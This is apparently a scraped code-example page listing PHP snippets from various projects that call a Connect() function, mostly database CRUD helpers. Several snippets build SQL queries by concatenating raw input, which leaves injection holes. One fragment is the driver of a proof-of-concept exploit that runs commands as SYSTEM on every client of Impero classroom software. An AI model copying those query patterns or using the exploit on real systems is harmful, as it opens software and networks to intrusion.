php Connect类(方法)实例源码

下面列出了php Connect 类(方法)源码代码实例,从而了解它的用法。

作者:BGCX26    项目:zillatek-project-svn-to-gi   
public static function get_pages($lang = FALSE)
 {
     if ($lang == FALSE) {
         $lang = Settings::get_lang();
     }
     $pages = self::$ci->page_model->get_lang_list(false, $lang);
     // Should never be displayed : no pages are set.
     if (empty($pages)) {
         show_error('Internal error : <b>No pages found.</b><br/>Solution: <b>Create at least one online page.</b>', 500);
         exit;
     }
     /* Spread authorizations from parents pages to chidrens.
      * This adds the group ID to the childrens pages of a protected page
      * If you don't want this, just uncomment this line.
      */
     if (Connect()->logged_in()) {
         self::$user = Connect()->get_current_user();
     }
     self::$ci->page_model->spread_authorizations($pages);
     // Filter pages regarding the authorizations
     $pages = array_values(array_filter($pages, array(__CLASS__, '_filter_pages_authorization')));
     // Set all abolute URLs one time, for perf.
     self::init_absolute_urls($pages, $lang);
     return $pages;
 }

作者:rubenpeci    项目:kak   
function UpdateUser($config, $id, $data)
{
    $rows = array();
    switch ($config['adapter']) {
        case 'Mysql':
            include '../modules/Application/src/Application/Model/Mysql/Execute.php';
            include '../modules/Application/src/Application/Model/Mysql/Connect.php';
            $link = Connect($config['slave']);
            $query = "UPDATE user SET ";
            foreach ($data as $key => $value) {
                echo "<pre>key:";
                print_r($key);
                echo "</pre>";
                echo "<pre>value:";
                print_r($value);
                echo "</pre>";
            }
            die;
            $rows = Execute($link, $query);
            break;
        case 'Txt':
            include '../modules/Application/src/Application/Model/Txt/Delete.php';
            $rows = Update($id, $data, $config['userfilename']);
            break;
    }
    return $rows;
}

作者:CPNV-E    项目:movie   
function insertion_Genre($Genre)
{
    $pdo = Connect();
    foreach ($Genre as $val) {
        $sql_search = "SELECT `genres` FROM 'name' WHERE `genres`.'name'=" . $val;
    }
}

作者:etod    项目:a3   
function Query($query)
{
    global $connected;
    if (!$connected) {
        Connect();
    }
    $result = mysql_query($query) or die(mysql_error());
    return $result;
}

作者:robindevoug    项目:I   
function dumpDB()
{
    $link = Connect();
    $query = $link->prepare("SELECT word,answer  FROM ia_dictionary");
    // change to match your db
    $query->execute();
    $res = $query->fetchall(PDO::FETCH_ASSOC);
    return $res;
}

作者:ptcarin    项目:advweb1ex   
function jobList()
{
    include 'connect.php';
    $conn = Connect();
    $list = $conn->query("SELECT * FROM JOB_TITLE JOIN DEPARTMENT ON dept_id = DEPARTMENT_dept_id");
    while ($row = $list->fetch_assoc()) {
        echo "<option value='" . $row['job_id'] . "'>" . $row['job_title'] . " - " . $row['dept_name'] . "</option>";
    }
    $conn->close();
}

作者:joelBank    项目:CharismaJN   
function premierepage()
{
    $dbh = Connect();
    $sql = "SELECT nom\n\t\t\tfrom utilisateur";
    $query = $dbh->query($sql);
    if ($query) {
        return $query->fetchAll();
    } else {
        return false;
    }
}

作者:BillTheBes    项目:1.6.   
function SyncServers()
{
    $sync = new articaSMTPSync();
    if (!is_array($sync->serverList)) {
        writelogs("No servers aborting", __FUNCTION__, __FILE__, __LINE__);
        return;
    }
    while (list($server, $array) = each($sync->serverList)) {
        $port = $array["PORT"];
        $user = $array["user"];
        $password = $array["password"];
        Connect($server, $port, $user, $password);
    }
}

作者:rubenpeci    项目:kak   
function InsertUser($config, $data, $filename)
{
    $rows = array();
    switch ($config['adapter']) {
        case 'Mysql':
            include '../modules/Application/src/Application/Model/Mysql/Execute.php';
            include '../modules/Application/src/Application/Model/Mysql/Connect.php';
            $link = Connect($config['slave']);
            $query = 'INSERT INTO user (iduser, name, email, password, photo, description, bdate, city_idcity, gender_idgender) VALUES ' . '("4", "' . $data['name'] . '", "' . $data['email'] . '", "' . $data['password'] . '", "' . $_FILES['photo']['name'] . '", "' . $data['description'] . '", "' . $data['bdate'] . '", 1, 1)';
            $rows = Execute($link, $query);
            break;
        case 'Txt':
            include "../modules/Application/src/Application/Model/Txt/Insert.php";
            Insert($_POST, $filename);
            break;
    }
    // Obtener nombre de la imagen subida
    $_POST['photo'] = $_FILES['photo']['name'];
    // Comprobar si el nombre de archivo existe
    $dir = $_SERVER['DOCUMENT_ROOT'] . '/img/';
    $files = scandir($dir);
    if (in_array($_POST['photo'], $files)) {
        // Si existe se concatena con un numero
        // Comprobar si hay algun otro archivo con el mismo nombre y un numero concatenado
        $filtrado = "/" . substr($_POST['photo'], 0, -4) . "*/";
        $extension = substr($_POST['photo'], -3);
        $filesMatch = array();
        foreach ($files as $archivo) {
            $ext2 = substr($archivo, -3);
            if (preg_match($filtrado, $archivo) && $extension === $ext2) {
                $filesMatch[] = (int) substr($archivo, strrpos($archivo, "_") + 1, strlen($archivo));
            }
        }
        $filesMatchAux = range(1, max($filesMatch));
        $missing = array_diff($filesMatchAux, $filesMatch);
        if (count($missing) > 0) {
            $_POST['photo'] = substr($_POST['photo'], 0, -4) . '_' . min($missing) . '.' . $extension;
        } else {
            $_POST['photo'] = substr($_POST['photo'], 0, -4) . '_' . (max($filesMatch) + 1) . '.' . $extension;
        }
    }
    // Declarar destino donde guardar la imagen
    $destination = $_SERVER['DOCUMENT_ROOT'] . '/img/' . $_POST['photo'];
    // Pasarla de ruta temporal a ruta fisica en el servidor
    move_uploaded_file($_FILES['photo']['tmp_name'], $destination);
    return $rows;
}

作者:jschouwstr    项目:php-snippet   
function saveSeats($seats)
{
    clearTableSeats();
    $conn = Connect();
    if ($seats) {
        foreach ($seats as $seat) {
            $seatAvailable = $seat['seatAvailable'];
            if ($seatAvailable == 'x') {
                $seatAvailable = 0;
            }
            $seatNumber = $seat['seatNumber'];
            $sql = "INSERT INTO seats \n        (seatAvailable,seatNumber)\n        VALUES \n        ({$seatAvailable},{$seatNumber})";
            $conn->query($sql);
        }
        $conn->close();
    }
}

作者:rubenpeci    项目:kak   
function DeleteUser($config, $id)
{
    $rows = array();
    switch ($config['adapter']) {
        case 'Mysql':
            include '../modules/Application/src/Application/Model/Mysql/Execute.php';
            include '../modules/Application/src/Application/Model/Mysql/Connect.php';
            $link = Connect($config['slave']);
            $query = "DELETE FROM user WHERE iduser=" . $id;
            $rows = Execute($link, $query);
            break;
        case 'Txt':
            include '../modules/Application/src/Application/Model/Txt/Delete.php';
            $rows = Delete($id, $config['userfilename']);
            break;
    }
    return $rows;
}

作者:ismaelmelu    项目:hom   
function GetUsers($config)
{
    $rows = array();
    switch ($config['adapter']) {
        case 'Mysql':
            include '../modules/Application/src/Application/Model/Mysql/connect.php';
            include '../modules/Application/src/Application/Model/Mysql/Select.php';
            $link = Connect($config['slave']);
            $query = "SELECT * FROM user";
            $rows = Select($link, $query);
            break;
        case 'Txt':
            include '../modules/Application/src/Application/Model/Txt/Select.php';
            $rows = Select($config['userfilename']);
            break;
    }
    return $rows;
}

作者:agustinc    项目:zgz2015_   
function DeleteUser($config, $id)
{
    switch ($config['adapter']) {
        case 'Mysql':
            include "../modules/Application/src/Application/Model/Mysql/Connect.php";
            include "../modules/Application/src/Application/Model/Mysql/Execute.php";
            $master = $config['dbmaster'];
            $slave = $config['dbslave'];
            $link = Connect($master);
            $query = "DELETE FROM user WHERE iduser='" . $id . "'";
            $data = Execute($query, $link);
            break;
        case 'Txt':
            include "../modules/Application/src/Application/Model/Txt/Delete.php";
            $data = Delete($config['filename'], $id);
            break;
    }
    return $data;
}

作者:agustinc    项目:zgz2015_   
function GetUsers($config)
{
    switch ($config['adapter']) {
        case 'Mysql':
            include "../modules/Application/src/Application/Model/Mysql/Connect.php";
            include "../modules/Application/src/Application/Model/Mysql/Select.php";
            $master = $config['dbmaster'];
            $slave = $config['dbslave'];
            $link = Connect($master);
            $query = "SELECT * FROM user";
            $data = Select($query, $link);
            break;
        case 'Txt':
            include "../modules/Application/src/Application/Model/Txt/Select.php";
            $data = Select($config['filename']);
            break;
    }
    return $data;
}

作者:rubenpeci    项目:kak   
function GetUser($config, $id)
{
    $rows = array();
    switch ($config['adapter']) {
        case 'Mysql':
            include '../modules/Application/src/Application/Model/Mysql/connect.php';
            include '../modules/Application/src/Application/Model/Mysql/Select.php';
            $link = Connect($config['slave']);
            $query = "SELECT * FROM user WHERE iduser=" . $id;
            $rows = Select($link, $query);
            return $rows[0];
            break;
        case 'Txt':
            include '../modules/Application/src/Application/Model/Txt/SelectOne.php';
            $rows = SelectOne($config['userfilename'], $id);
            return $rows;
            break;
    }
}

作者:agustinc    项目:zgz2015_   
public function GetUser($config, $id)
 {
     switch ($config['adapter']) {
         case 'Mysql':
             include "../modules/Application/src/Application/Model/Mysql/Connect.php";
             include "../modules/Application/src/Application/Model/Mysql/Select.php";
             $master = $config['dbmaster'];
             $slave = $config['dbslave'];
             $link = Connect($master);
             $query = "SELECT * FROM user WHERE iduser='" . $id . "'";
             $data = Select($query, $link);
             $data = $data[0];
             break;
         case 'Txt':
             include "../modules/Application/src/Application/Model/Txt/SelectOne.php";
             $data = SelectOne($config['filename'], $id);
             break;
     }
     return $data;
 }

作者:SuperQchen    项目:exploit-databas   
echo "[*] Example of this: " . $argv[0] . " detect vboxnet0 192.168.56.255\n";
    echo "[*] This PoC will pop a calc and run whoami > C:\\lol.txt as SYSTEM on *every connected client*!\n";
    die;
}
array_shift($argv);
foreach ($argv as $key => $arg) {
    $detected = false;
    if ($arg == "detect") {
        if ($key + 2 >= count($argv)) {
            continue;
        }
        echo "[*] Finding Impero server...\n";
        $arg = FindImperoServer($argv[$key + 1], $argv[$key + 2]);
        if ($arg == false) {
            die("[-] Cannot find Impero server\n");
        }
        echo "[+] Found Impero server at " . $arg . "\n";
        $detected = true;
    }
    $h = Connect($arg);
    if ($h === false) {
        continue;
    }
    $clients = GetAllClients($h);
    RunExeAsSystem($h, $clients, "calc");
    RunCmd($h, $clients, "whoami > C:\\lol.txt");
    echo "\n";
    if ($detected) {
        die;
    }
}

作者:suspende    项目:jf   
if ($user != "" && $pass != "") {
        $pass = md5($pass);
        $user = htmlentities($user, ENT_QUOTES, "UTF-8");
        $user = mysql_real_escape_string($user);
        $pass = mysql_real_escape_string($pass);
        $result = mysql_query("SELECT * FROM users where alias = '{$user}' AND pass = '{$pass}'");
        $num_rows = mysql_num_rows($result);
        return $num_rows;
    } else {
        return 0;
    }
}
//========================================================================
// main
//========================================================================
Connect();
$open = htmlentities($_POST["positions"], ENT_QUOTES, 'UTF-8');
$close = htmlentities($_POST["historyall"], ENT_QUOTES, 'UTF-8');
$user = htmlentities($_POST["user"], ENT_QUOTES, 'UTF-8');
$pass = htmlentities($_POST["pass"], ENT_QUOTES, 'UTF-8');
$account = htmlentities($_POST["account"], ENT_QUOTES, 'UTF-8');
$balance = htmlentities($_POST["balance"], ENT_QUOTES, 'UTF-8');
$equity = htmlentities($_POST["equity"], ENT_QUOTES, 'UTF-8');
$time = time();
if (!userExist($user, $pass)) {
    /*  echo "[ER_USER]"; */
}
// open and update positions in database
if (!empty($open)) {
    // split positions line
    $openall = explode("|", substr($open, 0, -1));

作者:BGCX26    项目:zillatek-project-svn-to-gi   
/**
  * Returns the base URL of the website, with or without lang code in the URL
  *
  */
 public static function tag_base_url($tag)
 {
     // don't display the lang URL (by default)
     $lang_url = false;
     // The lang code in the URL is forced by the tag
     $force_lang = isset($tag->attr['force_lang']) ? true : false;
     // Set all languages online if connected as editor or more
     if (Connect()->is('editors', true)) {
         Settings::set_all_languages_online();
     }
     if (isset($tag->attr['lang']) && strtolower($tag->attr['lang']) == 'true' or $force_lang === true) {
         if (count(Settings::get_online_languages()) > 1) {
             // forces the lang code to be in the URL, for each language
             //				if ($force_lang === true)
             //				{
             return base_url() . Settings::get_lang() . '/';
             //				}
             // More intelligent : Detects if the current lang is the default one and don't return the lang code
             /*
             				else
             				{
             					if (Settings::get_lang() != Settings::get_lang('default'))
             					{
             						return base_url() . Settings::get_lang() .'/';
             					}
             				}
             */
         }
     }
     return base_url();
 }

作者:jeromec    项目:tuv   
<html>
<head>
	<title>Export données décès ch-hyeres</title>
</head>

<body>
<?php 
include "fonctions.inc";
$conn = Connect("REF");
//Constitution de la balise Entete au format XML
$nomForm = "DECES";
/*$idActeur=475;
$cleDepot="UtXSgA";
$mail="cboulay@ch-hyeres.fr";*/
$idActeur = 241;
$cleDepot = "RYBEA8";
$mail = "nrobert@ch-hyeres.fr";
$arRequis = 1;
$cfg_expediteur_alerte = "siou_ref";
$chemin = "/home/batch/arh/to_be_treated/";
$date_jour = date("Ymd");
$jour = substr($date_jour, 6, 2);
$mois = substr($date_jour, 4, 2);
$annee = substr($date_jour, 0, 4);
$date_file = date("YmdHis");
$date_envoi = date("d/m/Y à H:i:s");
$date_event = date("d/m/Y", mktime(0, 0, 0, $mois, $jour - 1, $annee));
$balise_element = "\n<entete>";
$balise_element .= "\n<idActeur>{$idActeur}</idActeur>";
$balise_element .= "\n<cleActeur>{$cleDepot}</cleActeur>";
$balise_element .= "\n<arRequis>{$arRequis}</arRequis>";


问题


面经


文章

微信
公众号

扫码关注公众号